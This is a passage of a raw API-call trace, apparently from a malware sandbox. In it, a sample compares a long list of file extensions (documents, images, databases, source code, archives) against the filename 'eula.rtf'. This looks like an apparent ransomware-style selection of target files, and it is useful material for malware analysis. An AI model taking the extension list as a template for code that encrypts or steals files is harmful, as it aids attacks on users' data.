[0084.429] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".ai8") returned 4 [0084.429] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.429] lstrlenW (lpString=".anim") returned 5 [0084.429] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.429] lstrlenW (lpString=".arw") returned 4 [0084.429] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".as") returned 3 [0084.430] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.430] lstrlenW (lpString=".asa") returned 4 [0084.430] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".asc") returned 4 [0084.430] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".ascx") returned 5 [0084.430] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.430] lstrlenW (lpString=".asm") returned 4 [0084.430] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".asmx") returned 5 [0084.430] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.430] lstrlenW (lpString=".asp") returned 4 [0084.430] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".aspx") returned 5 [0084.430] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.430] lstrlenW (lpString=".asr") returned 4 [0084.430] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".asx") returned 4 [0084.430] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".avi") returned 4 [0084.430] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".avs") returned 4 [0084.430] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".backup") returned 7 [0084.430] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.430] lstrlenW (lpString=".bak") returned 4 [0084.430] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".bay") returned 4 [0084.430] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.430] lstrlenW (lpString=".bd") returned 3 [0084.430] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.430] lstrlenW (lpString=".bin") returned 4 [0084.431] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".bmp") returned 4 [0084.431] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".bz2") returned 4 [0084.431] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".c") returned 2 [0084.431] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.431] lstrlenW (lpString=".cdr") returned 4 [0084.431] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".cer") returned 4 [0084.431] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".cf") returned 3 [0084.431] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.431] lstrlenW (lpString=".cfc") returned 4 [0084.431] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".cfm") returned 4 [0084.431] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".cfml") returned 5 [0084.431] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.431] lstrlenW (lpString=".cfu") returned 4 [0084.431] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".chm") returned 4 [0084.431] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".cin") returned 4 [0084.431] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".class") returned 6 [0084.431] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.431] lstrlenW (lpString=".clx") returned 4 [0084.431] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.431] lstrlenW (lpString=".config") returned 7 [0084.431] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.431] lstrlenW (lpString=".cpp") returned 4 [0084.431] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".cr2") returned 4 [0084.432] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".crt") returned 4 [0084.432] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".crw") returned 4 [0084.432] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".cs") returned 3 [0084.432] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.432] lstrlenW (lpString=".css") returned 4 [0084.432] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".csv") returned 4 [0084.432] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".cub") returned 4 [0084.432] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dae") returned 4 [0084.432] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dat") returned 4 [0084.432] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".db") returned 3 [0084.432] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.432] lstrlenW (lpString=".dbf") returned 4 [0084.432] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dbx") returned 4 [0084.432] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dc3") returned 4 [0084.432] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dcm") returned 4 [0084.432] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".dcr") returned 4 [0084.432] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.432] lstrlenW (lpString=".der") returned 4 [0084.432] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dib") returned 4 [0084.433] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dic") returned 4 [0084.433] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dif") returned 4 [0084.433] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".divx") returned 5 [0084.433] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".djvu") returned 5 [0084.433] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".dng") returned 4 [0084.433] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".doc") returned 4 [0084.433] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".docm") returned 5 [0084.433] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".docx") returned 5 [0084.433] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".dot") returned 4 [0084.433] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dotm") returned 5 [0084.433] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".dotx") returned 5 [0084.433] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.433] lstrlenW (lpString=".dpx") returned 4 [0084.433] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dqy") returned 4 [0084.433] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dsn") returned 4 [0084.433] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.433] lstrlenW (lpString=".dt") returned 3 [0084.433] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.434] lstrlenW (lpString=".dtd") returned 4 [0084.434] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".dwg") returned 4 [0084.434] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".dwt") returned 4 [0084.434] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".dx") returned 3 [0084.434] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.434] lstrlenW (lpString=".dxf") returned 4 [0084.434] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".edml") returned 5 [0084.434] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.434] lstrlenW (lpString=".efd") returned 4 [0084.434] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".elf") returned 4 [0084.434] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".emf") returned 4 [0084.434] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".emz") returned 4 [0084.434] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".epf") returned 4 [0084.434] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".eps") returned 4 [0084.434] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".epsf") returned 5 [0084.434] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.434] lstrlenW (lpString=".epsp") returned 5 [0084.434] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.434] lstrlenW (lpString=".erf") returned 4 [0084.434] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".exr") returned 4 [0084.434] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.434] lstrlenW (lpString=".f4v") returned 4 [0084.435] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".fido") returned 5 [0084.435] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.435] lstrlenW (lpString=".flm") returned 4 [0084.435] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".flv") returned 4 [0084.435] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".frm") returned 4 [0084.435] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".fxg") returned 4 [0084.435] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".geo") returned 4 [0084.435] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".gif") returned 4 [0084.435] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".grs") returned 4 [0084.435] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".gz") returned 3 [0084.435] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.435] lstrlenW (lpString=".h") returned 2 [0084.435] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.435] lstrlenW (lpString=".hdr") returned 4 [0084.435] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".hpp") returned 4 [0084.435] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".hta") returned 4 [0084.435] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".htc") returned 4 [0084.435] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".htm") returned 4 [0084.435] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.435] lstrlenW (lpString=".html") returned 5 [0084.435] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.436] lstrlenW (lpString=".icb") returned 4 [0084.436] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".ics") returned 4 [0084.436] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".iff") returned 4 [0084.436] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".inc") returned 4 [0084.436] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".indd") returned 5 [0084.436] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.436] lstrlenW (lpString=".ini") returned 4 [0084.436] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".iqy") returned 4 [0084.436] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".j2c") returned 4 [0084.436] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".j2k") returned 4 [0084.436] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".java") returned 5 [0084.436] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.436] lstrlenW (lpString=".jp2") returned 4 [0084.436] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".jpc") returned 4 [0084.436] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".jpe") returned 4 [0084.436] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".jpeg") returned 5 [0084.436] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.436] lstrlenW (lpString=".jpf") returned 4 [0084.436] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".jpg") returned 4 [0084.436] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.436] lstrlenW (lpString=".jpx") returned 4 [0084.437] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".js") returned 3 [0084.437] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.437] lstrlenW (lpString=".jsf") returned 4 [0084.437] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".json") returned 5 [0084.437] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.437] lstrlenW (lpString=".jsp") returned 4 [0084.437] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".kdc") returned 4 [0084.437] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".kmz") returned 4 [0084.437] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".kwm") returned 4 [0084.437] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".lasso") returned 6 [0084.437] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.437] lstrlenW (lpString=".lbi") returned 4 [0084.437] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".lgf") returned 4 [0084.437] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".lgp") returned 4 [0084.437] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".log") returned 4 [0084.437] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".m1v") returned 4 [0084.437] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".m4a") returned 4 [0084.437] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.437] lstrlenW (lpString=".m4v") returned 4 [0084.437] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".max") returned 4 [0084.438] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".md") returned 3 [0084.438] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.438] lstrlenW (lpString=".mda") returned 4 [0084.438] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mdb") returned 4 [0084.438] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mde") returned 4 [0084.438] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mdf") returned 4 [0084.438] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mdw") returned 4 [0084.438] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mef") returned 4 [0084.438] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mft") returned 4 [0084.438] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mfw") returned 4 [0084.438] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mht") returned 4 [0084.438] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mhtml") returned 6 [0084.438] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.438] lstrlenW (lpString=".mka") returned 4 [0084.438] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mkidx") returned 6 [0084.438] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.438] lstrlenW (lpString=".mkv") returned 4 [0084.438] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.438] lstrlenW (lpString=".mos") returned 4 [0084.438] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mov") returned 4 [0084.439] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mp3") returned 4 [0084.439] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mp4") returned 4 [0084.439] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mpeg") returned 5 [0084.439] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.439] lstrlenW (lpString=".mpg") returned 4 [0084.439] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mpv") returned 4 [0084.439] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mrw") returned 4 [0084.439] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".msg") returned 4 [0084.439] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".mxl") returned 4 [0084.439] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".myd") returned 4 [0084.439] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".myi") returned 4 [0084.439] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".nef") returned 4 [0084.439] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".nrw") returned 4 [0084.439] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".obj") returned 4 [0084.439] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".odb") returned 4 [0084.439] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.439] lstrlenW (lpString=".odc") returned 4 [0084.440] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".odm") returned 4 [0084.440] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".odp") returned 4 [0084.440] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".ods") returned 4 [0084.440] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".oft") returned 4 [0084.440] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".one") returned 4 [0084.440] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".onepkg") returned 7 [0084.440] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.440] lstrlenW (lpString=".onetoc2") returned 8 [0084.440] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.440] lstrlenW (lpString=".opt") returned 4 [0084.440] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".oqy") returned 4 [0084.440] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".orf") returned 4 [0084.440] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".p12") returned 4 [0084.440] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".p7b") returned 4 [0084.440] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".p7c") returned 4 [0084.440] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".pam") returned 4 [0084.440] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".pbm") returned 4 [0084.440] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.440] lstrlenW (lpString=".pct") returned 4 [0084.441] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pcx") returned 4 [0084.441] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pdd") returned 4 [0084.441] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pdf") returned 4 [0084.441] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pdp") returned 4 [0084.441] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pef") returned 4 [0084.441] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pem") returned 4 [0084.441] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pff") returned 4 [0084.441] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pfm") returned 4 [0084.441] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pfx") returned 4 [0084.441] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".pgm") returned 4 [0084.441] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.441] lstrlenW (lpString=".php") returned 4 [0084.442] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".php3") returned 5 [0084.442] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".php4") returned 5 [0084.442] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".php5") returned 5 [0084.442] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".phtml") returned 6 [0084.442] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.442] lstrlenW (lpString=".pict") returned 5 [0084.442] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".pl") returned 3 [0084.442] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.442] lstrlenW (lpString=".pls") returned 4 [0084.442] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".pm") returned 3 [0084.442] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.442] lstrlenW (lpString=".png") returned 4 [0084.442] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".pnm") returned 4 [0084.442] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".pot") returned 4 [0084.442] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".potm") returned 5 [0084.442] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".potx") returned 5 [0084.442] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.442] lstrlenW (lpString=".ppa") returned 4 [0084.442] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.442] lstrlenW (lpString=".ppam") returned 5 [0084.443] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.443] lstrlenW (lpString=".ppm") returned 4 [0084.443] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pps") returned 4 [0084.443] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".ppsm") returned 5 [0084.443] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.443] lstrlenW (lpString=".ppt") returned 4 [0084.443] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pptm") returned 5 [0084.443] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.443] lstrlenW (lpString=".pptx") returned 5 [0084.443] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.443] lstrlenW (lpString=".prn") returned 4 [0084.443] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".ps") returned 3 [0084.443] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.443] lstrlenW (lpString=".psb") returned 4 [0084.443] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".psd") returned 4 [0084.443] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pst") returned 4 [0084.443] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".ptx") returned 4 [0084.443] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pub") returned 4 [0084.443] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pwm") returned 4 [0084.443] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".pxr") returned 4 [0084.443] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.443] lstrlenW (lpString=".py") returned 3 [0084.444] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.444] lstrlenW (lpString=".qt") returned 3 [0084.444] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.444] lstrlenW (lpString=".r3d") returned 4 [0084.444] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.444] lstrlenW (lpString=".raf") returned 4 [0084.444] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.444] lstrlenW (lpString=".rar") returned 4 [0084.444] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.444] 